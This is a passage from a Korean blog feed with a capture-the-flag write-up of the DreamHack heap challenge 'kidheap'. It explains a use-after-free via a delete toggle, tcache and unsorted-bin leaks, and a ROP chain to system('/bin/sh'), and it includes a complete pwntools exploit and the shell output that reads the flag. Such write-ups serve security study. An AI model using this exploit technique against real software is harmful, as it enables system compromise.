&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 코드 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 사용자에게 입력을 받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1일때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.1. idx를 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.2. idx가 0~15이면 다음으로, 아니면 함수 종료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.3. 0x20만큼의 구조체 생성. 구조체는 아래의 note 구조체임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.4. content위치에 0x100만큼의 힙 영역 할당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.5. name size를 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.6. name위치에 사용자 입력만큼 힙 영영 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.7. idx와 name_size 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.8. name과 content 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.9 deleted 상태를 저장하는 위치에 0으로 초기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.10. name_size_list를 저장하는 위치에 name_size 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 2 일때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.1. idx를 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.2. deleted 되었는지 확인&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.3. deleted 되지 않았다면 free&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.4. deleted 상태 토글&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 3 일때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.1. idx 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.2. deleted되었는지 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.3. deleted 되지 않았다면 name과 content 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 4 일때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;4.1. idx 입력받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;4.2. deleted 되지 않았다면 name과 content 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 말한 note 구조체는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1787222979910&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct note {
	long name_size;
	int idx;
	char* name;
	char* content;
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 삽질 정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오를 바로 보여주기 보단 사고의 흐름과 삽집을 한 과정을 정리하는게 내 공부에 도움일 될 것 같아&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Heap 공부 및 free tcache 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chat gpt에게 근무지에 가기 전에 heap 관련 공부 내용을 정리해 달라고 하여 쭉 읽었다. 근데, free한 이후를 gpt가 정리해준 파일에서는 알수가 없었기 때문에 직접 분석해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free하는 c파일을 작성해서 gdb로 일일이 확인 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 결과 chunk는 다음과 같았다.&lt;/p&gt;
&lt;pre id=&quot;code_1787223191120&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;---------------------------
| prev_data | size + flag |
|-------------------------|
| next      | tcache_key  |
---------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;next부터가 user data이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. tcache_key를 이용한 Tcache Free Bug 시도&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. free되지 않은 힙 영역에 tcache_key를 위치에 넣고 이전 tcache에 들어있는 chunk에 user_data의 맞는 위치에 tcache_key를 넣어봤더니 free하지 않은 영역도 tcache에 들어갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 이미 free한 chunk의 tcache_key를 0를 넣어서 free를 시도하니 Double Free Bug가 유도됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 지금까지 tcache_key를 지정된 위치에 넣고 이전 free된 chunk에서 next를 해당 위치로 바꾸면 free한 것을 변조할 수 있다는 것을 알았기 때문에 stack에 시도해보았으나 이는 실행되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 코드 리버싱&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근무지에서 리버싱을 진행했다. 근무지에서는 문제 파일을 볼수가 없었기 때문에 어셈블리 파일과 data를 정리해 가져가 리버싱 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. delete 토글 발견&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 볼면 알겠지만, idx가 맞지 않아도, 이미 free되어있어도 delete 상태가 delete를 실행할때마다 상태 토글링이 일어난다. 이걸 이용하면 Use After Free가 가능했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. tcache reuse 시나이로 구성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;note는 0x20만큼의 사이즈이다. 그때문에 0x20만큼의 name을 같이 할당한후 free하고 다시 malloc한다면 0x20만큼의 사이즈를 가진 힙 공간에 그 공간이 할당 될것이다. 이와 앞의 delete토글을 이용하면 name과 note가 겹치게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 시나리오는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) notes[14]와 notes[15]에 0x20으로 name을 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) notes[14]와 notes[15]를 free한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) delete 토글을 이용해 uaf가 가능하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 재 할당시 notes[0]의 namesize를 0x100 등, 0x20과 다른 값을 사용하면 tcache에는 name과 note가 다음에 할당할 순서과 다르게 들어있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5) 다음 할당시 note[14]-&amp;gt;name이 notes[0]에 할당되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tcache를 보면 다음과 같을 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1787224058086&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;head -&amp;gt; note15 -&amp;gt; name15 -&amp;gt; note14 -&amp;gt; name14

note15 =&amp;gt; note0
name15 =&amp;gt; note1
note14 =&amp;gt; name1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6. UAF Read로 가능한 leak&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UAF Read중 tcache에서 가능한 leak은 heap leak과 tcache_key leak이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때까지만 해도 tcache leak을 사용해서 Double Free Bug 후 tcache poisoning 등을 일으킬 가능성이 있었기 때문에 tcache_key도 leak해냈지만 지금 보면, uaf write와 uaf read가 모두 되기 때문에 결과론 적으로는 사용하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;7. unsorted bin에서 libc leak&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 unsorted bin에서 libc를 leak할수 있다는 것을 몰랐다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나, 전에 문제를 풀때 heap에서 어느 정도 크기에서는 libc의 어떤 값을 leak했던 기억이 있었기 때문에 구글링 하여 unsorted bin에서 가능하단것을 알았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 적당한 크기의 힙 영역을 할당한후 free&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) free한 user_data 공간을 읽어 fd와 bk를 leak&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) fd에서 main_arena를 leak한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스 코드를 생성하며 문제가 발생했는데 free할때 해당 chunk가 top chunk에 consolidation되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때문에 같은 name_size를 가진 name을 가진 note를 두개 만들어 문제를 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;8. main_arena를 leak한 이후 이를 바탕으로 필요한 정보 계산&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;libc를 leak해낸 후 내가 필요하다고 생각한 것은 environ이었다. 이를 이용하면 stack을 leak할수 있었고, 이를 이용하면 ret를 계산해낼수 있으며, name과 note가 겹치는 것을 이용해 name을 수정하여 note의 name 주소를 변경하면 ret를 edit할 수 있었기 때문이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;9. stack leak&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 ret를 edit하는 과정과 같다. 앞서 name과 note가 겹치는 부분을 만들어뒀기 때문에 name을 수정하여 name 부분에 __environ값을 넣는다. 이후, name을 출력하면 __environ의 값, 즉 stack이 leak이 된다. 이를 이용해 gdb로 내가 원하는 위치까지의 offset을 구해 saved rip가 저장된 stack 주소를 얻었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;10. One Gadget 시도&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 ret도 덮을 수 있으니 쉽게 one shot gadget으로 덮어 shell을 얻으려 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허나, 실행되지 않았고 gdb로 따라가본 결과 r13을 rsp로 하고, 스택을 이용하는 부분이 있었는데 r13이 0이어서 문제가 발생했었다. 어쩔수 없이 ROP Chain을 짜야했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;11. gadget 찾기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, prob파일에는 pop rdi; ret; 가젯이 존재하지 않았다. 또, 이를 하려면 pie를 leak해야했는데 이거까지 하기엔 이미 있는걸 사용하면 될것 같아 libc파일에서 가젯을 찾아보니 존재했기에 이미 leak한 libc주소를 이용해 gadget을 구했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;12. system 함수 계산&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rdi에 /bin/sh를 넣는것까지 됐으니 system 함수의 offset을 통해 주소를 구했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;13. rop chain 구성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rop chain은 다음과 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;poprdi gadget + /bin/sh가 들어있는 stack 주소 + system주소 + /bin/sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 문제가 생겼다. 실행되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;14. stack align 맞추기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gdb를 통해 따라가보니 stack align부분에서 코드가 터지고 있었다. 이때문에 ret가젯도 libc에서 찾아 ROP Chain을 구성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ret gadget + poprdi gadget + /bin/sh가 들어있는 stack 주소 + system주소 + /bin/sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데도 실행이 안됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;15. heap으로 /bin/sh 이동&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system함수에서 실행되는 과정에서 스택은 변조될수도 있기 때문에 /bin/sh 를 힙에 저장하고 leak한 heap 주소를 넣었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, /bin/sh;name1로 되어있다. read가 \x00이후 값도 읽을수 있다는 것을 알고 있지만, 지금까지 이상한 부분에서 터지는 일이 많다고 느꼈고, 그에 피로감을 느꼈기 때문에 안전하게 세미클론(;)으로 연결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rop chain은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ret gadget + poprdi gadget + /bin/sh가 들어있는 heap 주소 + system주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어라, 근데 또 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;16. 코드상 문제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 edit_note를 실행하고 print_note의 ret에 맞춰뒀기 때문에 print_note까지 실행하도록 코드를 구성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 gdb로 뜯어보니 edit_note에서 이미 쉘을 얻었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각해보니 어차피 ret를 바꿨고, print_note를 실행하면 당연이 ret는 바뀌게 되어있고, edit_note와 ret의 스택 위치와 print_note의 ret 스택 위치가 같을 것이기 때문에 print_note를 빼고 실행해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아주 잘된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;*추가로 한 삽질*&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 create_note를 제외하고는 모두 idx 체킹이 없다. 이때문에 notes 근처의 모든 값들을 출력해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허나, 내가 얻을 수 있는 정보로는 stdout의 주소도 아니고 그 값뿐이어서 이 것은 사용하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 가젯을 찾는 부분에서 pie leak을 할 수 없었냐라고 하면 가능은 했다. 코드상에서 덮은 saved rip에는 main함수의 명령주소가 들어있었다. 이를 코드에서는 uaf write하여 변조를 했지만, uaf read하였다면 pie leak도 가능은 했을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. exploit 코드&lt;/h3&gt;
&lt;pre id=&quot;code_1787225300090&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;host3.dreamhack.games&quot;, 14618)
# p = process(&quot;localhost&quot;, 1337)
# p = process(&quot;./prob&quot;)

# offset_leaked_main_arena = 96
# offset_main_arena = 0x203ac0
# offset_environ = 0x20ad58;
# offset_system = 0x58750
# offset_popRdi_gadget = 0x000000000010f78b;
# offset_ret_environ = -336
# offset_ret_gadget = 0x000000000002882f

offset_leaked_main_arena = 0x60
offset_main_arena = 0x21ac80
offset_environ = 0x222200;
offset_system = 0x50d70
offset_popRdi_gadget = 0x000000000002a3e5;
offset_ret_environ = -320 # 문제임.
offset_ret_gadget = 0x0000000000029cd6

def create_note(idx, name_size, name, content):
    p.sendlineafter(b&quot;&amp;gt; &quot;, b'1')
    p.sendlineafter(b&quot;idx &amp;gt; &quot;, f&quot;{idx}&quot;.encode())
    p.sendlineafter(b&quot;name size &amp;gt; &quot;, f&quot;{name_size}&quot;.encode())
    p.sendafter(b&quot;name &amp;gt; &quot;, name)
    p.sendafter(b&quot;content &amp;gt; &quot;, content)

def delete_note(idx):
    p.sendlineafter(b&quot;&amp;gt; &quot;, b'2')
    p.sendlineafter(b&quot;idx &amp;gt; &quot;, f&quot;{idx}&quot;.encode())

def edit_note(idx, name, content):
    p.sendlineafter(b&quot;&amp;gt; &quot;, b'3')
    p.sendlineafter(b&quot;idx &amp;gt; &quot;, f&quot;{idx}&quot;.encode())
    p.sendafter(b&quot;name &amp;gt; &quot;, name)
    p.sendafter(b&quot;content &amp;gt; &quot;, content)

def print_note(idx):
    p.sendlineafter(b&quot;&amp;gt; &quot;, b'4')
    p.sendlineafter(b&quot;idx &amp;gt; &quot;, f&quot;{idx}&quot;.encode())

    p.recvuntil(b&quot;name : &quot;)
    name = b&quot;&quot;.join(p.recvline().split(b&quot;\n&quot;)[:-1])
    p.recvuntil(b&quot;content : &quot;)
    content = b&quot;&quot;.join(p.recvline().split(b&quot;\n&quot;)[:-1])

    return {
        &quot;name&quot;: name,
        &quot;content&quot;: content
    }

def fit(s, size=8):
    return u64(s + b&quot;\x00&quot; * (size-len(s)))

# 할당 &amp;amp; 해제
print(&quot;Allocate note 14, 15 &amp;amp; Free note 14, 15&quot;)
create_note(14, 0x20, b&quot;name14&quot;, b&quot;content14&quot;)
create_note(15, 0x20, b&quot;name15&quot;, b&quot;content15&quot;)
delete_note(14)
delete_note(15)

# delete되지 않은 것처럼 변조
print(&quot;Toggle note 14, 15 like it is not deleted&quot;)
delete_note(14)
delete_note(15)

# heap leak
print(&quot;------ heap leak ------&quot;)
note14 = print_note(14)
note15 = print_note(15)

safeLinkFilter0x20 = fit(note14[&quot;name&quot;]) # safe linking filter가 들어있음.
note14_pointer = safeLinkFilter0x20 ^ fit(note15[&quot;name&quot;]) # note14 주소 =&amp;gt; heap leak
print(f&quot;safe link filter : {hex(safeLinkFilter0x20)}\nnote14 pointer : {hex(note14_pointer)}&quot;)
print()

# tcache key leak
print(&quot;------ tcache_key leak ------&quot;)
edit_note(14, b&quot;AAAAAAAA&quot;, b&quot;AAAA&quot;)
note14 = print_note(14)
tcahce_key = fit(note14[&quot;name&quot;].split(b&quot;AAAAAAAA&quot;)[1])

print(f&quot;tcache_key: {hex(tcahce_key)}&quot;)
print()

# libc leak
print(&quot;------ libc leak ------&quot;)
print(&quot;Allocate note 0, 1&quot;)
print(&quot;As my hypothesis, \n note0 is note 15(True)\n note14 is name 1(True)\n&quot;)
create_note(0, 0x200, b&quot;name0&quot;, b&quot;content0&quot;) # note 0 == note 15 (True)
create_note(1, 0x20,  b&quot;name1   name1   &quot;, b&quot;content1&quot;) # name 1 == note 14 (True)
print(&quot;Allocate note 2, 3 which name size is 0x450&quot;)
create_note(2, 0x450, b&quot;name2&quot;, b&quot;content2&quot;)
create_note(3, 0x450, b&quot;name3&quot;, b&quot;content3&quot;)
print(&quot;Free note 2, 3, and the freed chunk goes to unsorted bin&quot;)
delete_note(2)
delete_note(2)
print(&quot;Toggle note2, note3 like it is not deleted&quot;)
delete_note(3)
delete_note(3)
main_arena_base = fit(print_note(2)[&quot;name&quot;]) - offset_leaked_main_arena
libc_base = main_arena_base - offset_main_arena
environ = libc_base + offset_environ
poprdi = libc_base + offset_popRdi_gadget
retGadget = libc_base + offset_ret_gadget
system = libc_base + offset_system

print(&quot;main arena is &quot; + hex(main_arena_base))
print(&quot;libc base is &quot;  + hex(libc_base))
print(&quot;environ is &quot;    + hex(environ))
print(&quot;gadget(pop rdi;ret) is &quot;    + hex(poprdi))
print(&quot;gadget(ret) is &quot;    + hex(retGadget))
print(&quot;system is &quot;    + hex(system))
print()

#stack leak
print(&quot;------ stack leak ------&quot;)
print(&quot;Edit name1 to environ then, name of note14 goes to environ.\nPrint name14 is the value of environ&quot;)
edit_note(1, b&quot;name1   name1   &quot; + p64(environ), b&quot;test&quot;) 
environ_leak = fit(print_note(14)[&quot;name&quot;])
ret = environ_leak+offset_ret_environ
print(&quot;environ leak is &quot; + hex(environ_leak))
print(&quot;ret is &quot; + hex(ret))

# get shell
print(&quot;get shell&quot;)
edit_note(1, b&quot;/bin/sh;name1   &quot; + p64(ret), b&quot;test&quot;)
edit_note(14, p64(retGadget) +p64(poprdi) + p64(note14_pointer) + p64(system), b&quot;&quot;)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 결과&lt;/h3&gt;
&lt;pre id=&quot;code_1787225738000&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Allocate note 14, 15 &amp;amp; Free note 14, 15
Toggle note 14, 15 like it is not deleted
------ heap leak ------
safe link filter : 0x58111af50
note14 pointer : 0x58111af502a0

------ tcache_key leak ------
tcache_key: 0x613d0f70c06817b2

------ libc leak ------
Allocate note 0, 1
As my hypothesis, 
 note0 is note 15(True)
 note14 is name 1(True)

Allocate note 2, 3 which name size is 0x450
Free note 2, 3, and the freed chunk goes to unsorted bin
Toggle note2, note3 like it is not deleted
main arena is 0x7cfaee10ac80
libc base is 0x7cfaedef0000
environ is 0x7cfaee112200
gadget(pop rdi;ret) is 0x7cfaedf1a3e5
gadget(ret) is 0x7cfaedf19cd6
system is 0x7cfaedf40d70

------ stack leak ------
Edit name1 to environ then, name of note14 goes to environ.
Print name14 is the value of environ
environ leak is 0x7ffd776b2d28
ret is 0x7ffd776b2be8
get shell
[*] Switching to interactive mode
$ pwd
$ pwd
/home/pwn
$ ls
flag
prob
$ cat flag
DH{**flag**}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 생각&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜 이번엔 heap을 배운다는 생각으로 진행했다. 그과정에서 삽질도 많이 했지만 그 과정이 단순히 삽질만은 아니었던것 같다. oob가 되는지 싹다 확인했기 때문에 확실히 익스과정에서 배제할수 있었고, 이전에 했던 공격 기법을 총집합해서 사용한것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 저번 pet pals 풀때는 주석을 잘 남겨야겠다라고 생각을 했었다. 근데, 생각해보니 코드 실행과정에서 어떻게 실행되고 있는지까지 알아야하기 때문에 print를 주석이자 화면에 진행상황 표시 및 디버깅용으로 사용한 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나하나 찾는건 오래 안걸렸지만, 그렇다고 머리를 얼마나 사용했느냐하면 pet pals 때보다도 더 사용한 것 같다. 진짜 풀다가 머리에 열이 오르는 느낌이 들었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 보니, 알고 있어야하는것에는 _IO_FILE과 FSOP가 있는데 도저히 이걸 어떻게 사용하라는 건지 모르겠고, 또, 워낙 LEAK할 수 있는게 많기 때문에 풀이도 여러개 있을 것 같다. 공식 풀이정도는 읽어보겠지만, 각 사람마다 풀이과정이 다 다를것 같은데 보지 못하는 것은 아쉬움이 남는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜 재밌는 문제였던 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/시스템해킹</category>
      <category>DreamHack</category>
      <category>heap</category>
      <category>kidheap</category>
      <category>pwnable</category>
      <category>rop</category>
      <category>시스템해킹</category>
      <category>포너블</category>
      <category>해킹</category>
      <category>힙</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/39</guid>
      <comments>https://code-learn-ing.tistory.com/39#entry39comment</comments>
      <pubDate>Thu, 20 Aug 2026 20:42:23 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack][시스템해킹] pet pals - 드림핵 서버 익스</title>
      <link>https://code-learn-ing.tistory.com/38</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;일단 이전에 쓴 글이 있으니 링크 남겨두겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://code-learn-ing.tistory.com/37&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code-learn-ing.tistory.com/37&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1786770727444&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Dreamhack][시스템해킹] pet pals&quot; data-og-description=&quot;[문제 링크](https://dreamhack.io/wargame/challenges/1080) 문제는 dockerfile과 binary파일이 존재한다. 1. 분석gdb로 보면, main함수를 알수가 없다. 따라서, __libc_start_main에 breakpoint를 걸고, 실제 메모리를 얻어 디&quot; data-og-host=&quot;code-learn-ing.tistory.com&quot; data-og-source-url=&quot;https://code-learn-ing.tistory.com/37&quot; data-og-url=&quot;https://code-learn-ing.tistory.com/37&quot; 